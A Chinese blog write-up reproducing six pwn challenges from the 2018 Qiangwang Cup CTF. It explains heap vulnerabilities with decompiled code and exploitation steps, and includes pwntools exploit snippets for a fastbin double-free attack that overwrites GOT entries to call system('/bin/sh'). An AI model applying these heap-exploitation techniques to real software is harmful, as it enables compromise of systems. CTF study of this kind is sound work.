强网杯2018 pwn复现
前言
本文对强网杯 中除了 2 个内核题以外的 6 个 pwn 题的利用方式进行记录。题目真心不错
程序和 exp:
https://gitee.com/hac425/blog_data/blob/master/qwb2018/
正文
silent
漏洞
在 free
的时候指针没有清空,而且程序没有 检测指针是否已经被释放 double free
, 后面的 编辑功能也没有检验指针是否已经被 free
,所以 uaf
signed __int64 free_()
{
int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
__isoc99_scanf("%d", &i);
getchar();
if ( i < 0 || i > 9 )
return 0xFFFFFFFFLL;
free(ptr_table[i]);
return 0LL;
}
利用
在 new
一个内存的时候我们可以任意大小的内存,我们现在的能力
- 分配任意大小的内存
double free
uaf
Double Free ----> Fastbin Attack
可以利用 fastbin
检测 double free
的特点来利用。把一个 chunk
加入 fastbin
是如果相应 fastbin
的第一项和要加入的 chunk
不是同一个即可
add("/bin/sh\x00", 0x60)
add("1"*0x20, 0x60)
add("2"*0x20, 0x60)
add("3"*0x20, 0x60)
delete(1)
delete(2)
delete(1)
gdb.attach(p)
pause()
这样就会形成一个 下面的 fastbin
链
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x603070 —▸ 0x6030e0 —▸ 0x603070 ◂— 0x6030e0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg>
0x603070
在 fastbin
链 中出现了两次,于是分配两次,0x603070
会被分配,而且 0x603070
会成为 fastbin
的第一个 chunk
. 我们就可以通过 double free
实现 fastbin attack
的目的(其实这里可以直接改,因为有 uaf
)
现在的目的是找 一个地址处存放 size
的位置来 bypass fastbin
的 检查。
在程序的 bss
段存有 std
的指针
.bss:0000000000602080 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.bss:0000000000602080 public stdout
.bss:0000000000602080 ; FILE *stdout
.bss:0000000000602080 stdout dq ? ; DATA XREF: LOAD:0000000000400400↑o
.bss:0000000000602080 ; sub_4007F0+6↑o ...
.bss:0000000000602080 ; Copy of shared data
.bss:0000000000602088 align 10h
.bss:0000000000602090 public stdin
.bss:0000000000602090 ; FILE *stdin
.bss:0000000000602090 stdin dq ? ; DATA XREF: LOAD:0000000000400418↑o
.bss:0000000000602090 ; init_+17↑r
.bss:0000000000602090 ; Copy of shared data
.bss:0000000000602098 align 20h
.bss:00000000006020A0 public stderr
.bss:00000000006020A0 ; FILE *stderr
.bss:00000000006020A0 stderr dq ? ; DATA XREF: LOAD:0000000000400430↑o
.bss:00000000006020A0 ; init_+53↑r
.bss:00000000006020A0 ; Copy of shared data
这些指针之间有一些填充空间(会被填充为0), 然后 std
的指针的最低字节 就有可能 可以作为 fastbin
的 size
.
于是修改大小为 0x70
的 fastbin
的 fd
为0x60209d
, 然后分配 2
次,我们就可以分配到 bss
, 然后通过修改 ptr_table
来修改 got
表,使得 free@got
为 system@plt
。
修改 ptr_table[0] --> free@got
add(p64(0x60209d), 0x60)
add("5"*0x20, 0x60)
add("6"*0x20, 0x60)
add('\x00'*0x13+p64(0x602018), 0x60) # ptr0 --> free@got
p.clean()
edit(0, p64(0x00400730), "") # free@got ---> system@plt
delete(3) # free("/bin/sh\x00") ---> system("/bin/sh\x00")
silent2
漏洞
在 silent
的基础上限制我们不能分配 fastbin
利用
分配两个 0x90
的 chunk
,然后释放掉
分配一个大的 chunk
重用上面的空间,伪造 free chunk
, 触发 unlink
改 strlen@got
为 system@plt
opm
漏洞
在 add
功能处使用 gets
来读入字符串到 stack
的 buf
而且 buf
后面有 obj_ptr
,我们可以溢出覆盖 obj_ptr
obj *add()
{
obj *obj; // rbx
obj *obj_; // rbx
size_t name_len; // rax
obj *obj__; // rbx
char buf; // [rsp+0h] [rbp-1A0h] // 输入的缓冲区
obj *obj_ptr; // [rsp+80h] [rbp-120h] // obj 指针
char *v7; // [rsp+100h] [rbp-A0h]
unsigned __int64 v8; // [rsp+188h] [rbp-18h]
v8 = __readfsqword(0x28u);
obj = operator new(0x20uLL);
init_obj(obj);
obj_ptr = obj;
obj->show_func = show_func;
puts("Your name:");
gets(&buf);
obj_ = obj_ptr; // gets 可以覆盖 obj_ptr
obj_->len = strlen(&buf);
name_len = strlen(&buf);
v7 = malloc(name_len);
strcpy(v7, &buf);
obj_ptr->nameptr = v7;
puts("N punch?");
gets(&buf); // gets 可以覆盖 obj_ptr
obj__ = obj_ptr;
obj__->punch = atoi(&buf);
show_func(obj_ptr);
return obj_ptr;
}
有一个比较麻烦的点就是 gets
会在读入的字符串后面加入一个 \x00
。
信息泄露
泄露 heap 地址
主要的思路就是把 addr
写入 name
的缓冲区中,然后 printf
出来
add("a" * 0x70, str(32))
add("b" * 0x80 + "\x10", '1') # 把 role0 布置到 0010, name 会被分配到 8d00-0x10
log.info("role obj in 0010, and name_buf contain 8d00")
# 首先往 8d00 写 name_ptr, 再次溢出修改 obj_ptr -----> 0010
# 为了后面调用 show(0010), 打印出 内容
add("c" * 0x80, "2"*0x80 + "\x10")
log.info("write a name_ptr to 8d00")
具体内存布局如图
0x5555557560e0
是 role_table
的地址, 可以看到 role_table[1]
和role_table[2]
的是一样的,成功把 name ptr
写入了 role->name
里面
泄露 程序基地址 && libc
后面通过 泄露的 heap
地址,和指针覆盖 来布局,leak
即可
修改 strlen@got 为 system
利用 obj->punch
局部修改
note
漏洞
在修改 title
的位置
char *change_title()
{
char *result; // rax
signed int i; // eax
unsigned __int8 c; // [rsp+Bh] [rbp-5h]
signed int index; // [rsp+Ch] [rbp-4h]
printf("enter the title:");
index = 0;
while ( 1 )
{
c = getchar();
if ( check_black_list(c) )
break;
if ( index > 0x27 )
{
result = title + 0x27; // 最多 40 个字符
title[0x27] = 0;
return result;
}
i = index++;
title[i] = c;
}
result = c;
title[index] = c;
return result;
}
title
是一个 0x28
字节的 buf
, 如果我们在 index=0x28
时输入 black_list
中的字符,就会跳出循环,然后 title[0x28] = black_char
, off by one
。我们看看溢出的那个字节可以写入什么
0000000000602010 0A 21 3F 40 22 27 23 26 00
利用
off by one
可以通过 伪造 free chunk
来触发 unlink
,所以选择 0x40
, 通过调试可以知道,title
后面跟着的是 content
然后溢出后就可以设置 content
所在 chunk->size = 0x40
然后通过 realloc
一个很大的值,使得无法 通过扩展 chunk
来分配,这样就会把 content
放入 fastbin
。
再通过 realloc
一个很大的内存,触发 会把 content
进入 smallbin
并且触发堆合并,触发 unlink
.
之后修改 __realloc_hook
为 system
raisepig
漏洞
在 eat_pig
功能处可以 double free
__int64 eat_pig()
{
unsigned int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( pig_count )
{
printf("Which pig do you want to eat:");
_isoc99_scanf("%d", &i);
if ( i > 0x63 || !pig_table[i] ) // 这里只是判断,pig指针是不是为0
{
puts("Invalid choice");
return 0LL;
}
srand(0);
pig_table[i]->is_lived = 0;
free(pig_table[i]->name_ptr); // free掉name指针,没有free pig
}
else
{
puts("No pig");
}
return 0LL;
}
所以我们可以 多次 free(pig_table[i]->name_ptr)
利用
由于在分配内存时使用
malloc
, 而且分配后没有对内存进行清空,而且读入数据使用read
, 可以泄露出libc
然后分配几个
0x90
的chunk
, 释放中间两个会合并成一个大的unsorted bin
然后分配大的
chunk
就可以拿到刚刚合并生成的大chunk
, 结合double free
,进行fastbin attack
修改
fastbin->fd = 0x81
分配一次后可以在main_arean
有一个p64(0x81)
使用
fastbin attack
可以修改main_arean->top
为malloc_hook-0x10
然后分配内存修改
malloc_hook
为one_gadget
重复
free
同一个内存(不进行伪造),触发malloc_printerr
(这样更稳), 会调用malloc
,getshell
gamebox
漏洞
在 play
函数中,调用 rand
函数初始化了 24
字节的 随机字符串,如果猜对了,就会调用 record
函数进行记录
size
由我们输入,可以看到分配了 size
的内存 , 后面写的时候 name[size]
会溢出一个字节,不过只能溢出 \x00
, off by null
.
然后在 show
函数有格式化字符串漏洞
unsigned __int64 show()
{
signed int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("=======RANK LIST=======");
for ( i = 0; i <= 9; ++i )
{
if ( obj_table[i].name_ptr )
{
putchar(i + '0'); // 打印名次
putchar(':');
printf(obj_table[i].name_ptr); // name_ptr 作为 printf的第一个参数,格式化
}
}
puts("=======================");
return __readfsqword(0x28u) ^ v2;
}
利用
rand
默认使用 srand(1)
, 我们本地调用 libc
的 srand(1)
和 rand
就可以生成相同的字符串
利用格式化字符串漏洞,泄露 libc
和 程序的基地址
off by null
直接套用 how2heap ,就可以 overlap heap
这时就可以利用 raisepig
的思路 或者 使用 unlink
参考
http://tacxingxing.com/2018/03/28/2018qwb/
强网杯2018 pwn复现的更多相关文章
- 强网杯2018 - nextrsa - Writeup
强网杯2018 - nextrsa - Writeup 原文地址:M4x@10.0.0.55 所有代码均已上传至我的github 俄罗斯套娃一样的rsa题目,基本把我见过的rsa套路出了一遍,值得记录 ...
- 【强网杯2018】Gamebox
参考: https://www.cnblogs.com/hac425/p/9416787.html http://tacxingxing.com/2018/03/28/2018qwb/ 事后复盘pwn ...
- 强网杯2018 Web签到
Web签到 比赛链接:http://39.107.33.96:10000 比赛的时候大佬对这题如切菜一般,小白我只能空流泪,通过赛后看别人的wp,我知道了还有这种操作. 这个赛题分为3层 第一层 Th ...
- 【强网杯2018】逆向hide
这是事后才做出来的,网上没有找到现成的writeup,所以在这里记录一下 UPX加壳,而且linux下upx -d无法解,也无法gdb/ida attach 因为是64位,所以没有pushad,只能挨 ...
- 2019 第三届强网杯线上赛部分web复现
0x00前言 周末打了强网杯,队伍只做得出来6道签到题,web有三道我仔细研究了但是没有最终做出来,赛后有在群里看到其他师傅提供了writeup和环境复现的docker环境,于是跟着学习一波并记录下来 ...
- 刷题记录:[强网杯 2019]Upload
目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...
- buuctf | [强网杯 2019]随便注
1' and '0,1' and '1 : 单引号闭合 1' order by 3--+ : 猜字段 1' union select 1,database()# :开始注入,发现正则过滤 1' an ...
- 第二届强网杯-simplecheck
这次强网杯第一天做的还凑合,但第二天有事就没时间做了(也是因为太菜做不动),这里就记录一下一道简单re-simplecheck(一血). 0x00 大致思路: 用jadx.gui打开zip可以看到,通 ...
- 2019强网杯babybank wp及浅析
前言 2019强网杯CTF智能合约题目--babybank wp及浅析 ps:本文最先写在我的新博客上,后面会以新博客为主,看心情会把文章同步过来 分析 反编译 使用OnlineSolidityDec ...
随机推荐
- POJ 1047
#include <iostream> #define MAXN 100 using namespace std; char _m[MAXN]; int ans[MAXN]; int ma ...
- (转)python 之路,200行Python代码写了个打飞机游戏!
原文:https://www.cnblogs.com/alex3714/p/7966656.html
- (转)Db2数据库一次生产故障详细记录---数据库坏页
原文:http://www.talkwithtrend.com/Article/216335 前言 数据库最严重的故障莫过于数据库损坏.数据库坏页是数据库损坏的一种,如果数据库中有数据页出现损坏,在没 ...
- 移植C/C++代码的十个技巧
这篇文章是我翻译自Top 10 tips for code porting c/c++的一篇小短文,以下是翻译全文,如有错误请留言或查阅原文. 代码的可移植性基本上是指使得源代码能够在不同的平台上编译 ...
- 记一次Socket编程踩的坑
闲来无事研究了下Socket,想用它做个简单的聊天室模型,结果踩了个坑,整半天才出来,惭愧啊,先上完成的代码吧 服务端: public partial class Form1 : Form { pub ...
- 用sinopia搭建内部npm服务
sinopia搭建 这里默认你已经有node环境了,执行下面命令,全局安装 sinopia npm install -g sinopia 安装好后,执行下面命令启动 sinopia sinopia 你 ...
- 机器学习--降维算法:PCA主成分分析
引言 当面对的数据被抽象为一组向量,那么有必要研究一些向量的数学性质.而这些数学性质将成为PCA的理论基础. 理论描述 向量运算即:内积.首先,定义两个维数相同的向量的内积为: (a1,a2,⋯,an ...
- JVM笔记6-垃圾回收器
JVM进行垃圾回收时要考虑哪的问题如下: 1.如何判定对象为垃圾对象? 1.引用计数法:在对象中添加一个引用计数器,当有地方引用这个对象的时候,引用计数器的值就+1,引用失效的时候,计数器的值就-1, ...
- NoSQL之Cassandra
http://www.cnblogs.com/LBSer/p/3328841.html 9月初听了一个讲座,演讲者是张月同学,他给我们分享了Cassandra nosql数据库,讲得很精彩,听完之后收 ...
- RabbitMQ上手记录–part 3-发送消息
接上一part<<RabbitMQ上手记录–part 2 - 安装RabbitMQ>>,这里我们来看看如何通过代码实现对RabbitMQ的调用. RabbitMQ通常是安装在服 ...